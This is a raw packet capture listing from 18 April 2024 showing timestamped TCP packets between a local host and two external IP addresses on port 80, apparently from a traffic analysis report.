Apr 18, 2024 23:40:04.114067078 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114074945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114104033 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114134073 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114151001 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114161968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114195108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114195108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114197969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114233971 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114239931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114239931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114269018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114273071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114305019 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114341021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114350080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114350080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114376068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114398003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114411116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114449024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114464998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114464998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114484072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114489079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114520073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114540100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114577055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114581108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114581108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114581108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114612103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114614964 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114660978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114675999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114696026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114701033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114731073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114767075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114775896 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114775896 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114803076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114839077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114873886 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114881039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114881039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114881039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114911079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114945889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114981890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114985943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114985943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114985943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115017891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115052938 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115087986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115099907 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115099907 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115099907 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115123034 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115138054 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115159035 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115169048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115195036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115230083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115264893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115268946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115268946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115268946 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115299940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115334988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115345001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115345001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115370989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115387917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115405083 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115439892 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115477085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115488052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115488052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115488052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115511894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115546942 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115547895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115562916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115581989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115591049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115618944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115654945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115679026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115679026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115690947 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115725994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115746975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115746975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115761042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115783930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115794897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115811110 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115832090 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115854979 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115870953 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115880013 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115915060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115945101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115952015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.115968943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.115988016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116030931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116030931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116034985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116070986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116092920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116132021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116132975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116168976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116204977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116209984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116209984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116240978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116274118 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116288900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116288900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116324902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116359949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116372108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116372108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116396904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116400957 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116434097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116468906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116503954 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116514921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116514921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116514921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116539955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116575003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116575956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116576910 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116611004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116646051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116651058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116651058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116681099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116713047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116715908 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116751909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116779089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116779089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116787910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116822004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116822004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116823912 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116859913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116871119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116894960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116930008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116936922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116938114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.116966009 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.116985083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117007017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117021084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117038965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117038965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117057085 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117062092 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117090940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117132902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117136002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117136002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117171049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117197037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117208958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117244005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117248058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117248058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117280006 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117314100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117316961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117353916 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117378950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117378950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117391109 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117405891 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117427111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117463112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117471933 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117471933 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117501974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.117558002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.117558002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.127530098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127613068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127650976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127655029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127686024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127707958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127717972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127756119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127768993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127794027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127810955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127832890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127841949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127871990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127898932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127908945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127923012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127945900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127968073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.127983093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.127988100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.128021002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128038883 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.128060102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128076077 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.128118992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128129005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.128159046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128213882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128249884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128285885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128325939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128360987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.128573895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.365957022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366094112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366112947 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366123915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366134882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366146088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366153955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366153955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366157055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366168022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366194010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366209984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366224051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366224051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366246939 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366269112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366281033 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366300106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366300106 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366445065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366456032 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366466999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366482019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366482019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366493940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366508961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366522074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366525888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366535902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366549015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366554022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366561890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366568089 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366576910 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366597891 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366620064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366632938 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366647005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366653919 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366653919 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366729975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366805077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366817951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366828918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366839886 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366849899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366861105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366873026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366884947 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366894007 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366894007 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366894007 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366935015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366935015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.366976023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366988897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.366998911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367011070 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367022038 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367031097 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367033005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367067099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367067099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367156982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367168903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367178917 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367188931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367198944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367211103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367244959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367244959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367244959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367268085 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367269993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367280960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367290974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367302895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367324114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367324114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367351055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367455959 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367466927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367475986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367486000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367496014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367506027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367516041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367538929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367539883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367539883 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367558956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367613077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367613077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367758036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367795944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367831945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367835999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367835999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367868900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367898941 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367904902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367940903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367949963 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367949963 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.367975950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.367986917 CEST	49738	80	192.168.2.4	193.233.132.56
